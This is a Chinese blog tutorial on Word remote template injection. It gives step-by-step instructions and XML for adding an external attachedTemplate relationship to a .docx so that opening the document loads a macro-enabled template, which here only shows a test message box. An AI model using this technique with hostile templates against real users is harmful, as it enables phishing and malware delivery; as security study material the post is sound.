zoukankan      html  css  js  c++  java
  • Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板。

    1.创建一个启用宏的模板

      打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象->ThisDocument中编写宏代码。

    Sub Document_Open()
    
    MsgBox "模板注入测试"
    End Sub
    

      保存为带宏的模板即可。

    2.创建被注入文档

      接下来是用于接受注入的文档,docx实际是个压缩包,修改后缀为zip并解压,进入目录“word/_rels”,创建文件settings.xml.rels,内容为:

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    		<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    			<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
    			Target="file://x:your	emplatefilepath"
    			TargetMode="External"/>
    		</Relationships>
    

      Relationship标签中的Target属性值可以是本地路径,也可以是SMB、HTTP等网络协议。

      记录Id属性值xxxx,测试发现该值为多少并不影响最终利用。

      回到上一级目录,即“Word/”下,打开文件settings.xml,插入标签<w:attachedTemplate r:id="xxxx"/>

      最后打包整个文件夹为zip,修改后缀名为word文档格式名,比如doc,docx。

      最后,双击运行,即加载模板。这里测试使用的模板是需要运行宏代码,所以还是需要“启用内容”才能生效。

  • 相关阅读:
    windows7 gvim 配置(好用)
    程序员的惰性
    java性能提升
    spring cloud gateway 负载均衡流程
    广告业务
    mysql二进制binarylog监控服务
    虽然垃圾,以后用得到在翻一翻,优化下
    hash冲突后处理
    jdk1.6乃至1.7中的Iepoll空轮询bug,netty中是怎样解决的
    树形结构
  • 原文地址:https://www.cnblogs.com/zUotTe0/p/14461290.html
Copyright © 2011-2022 走看看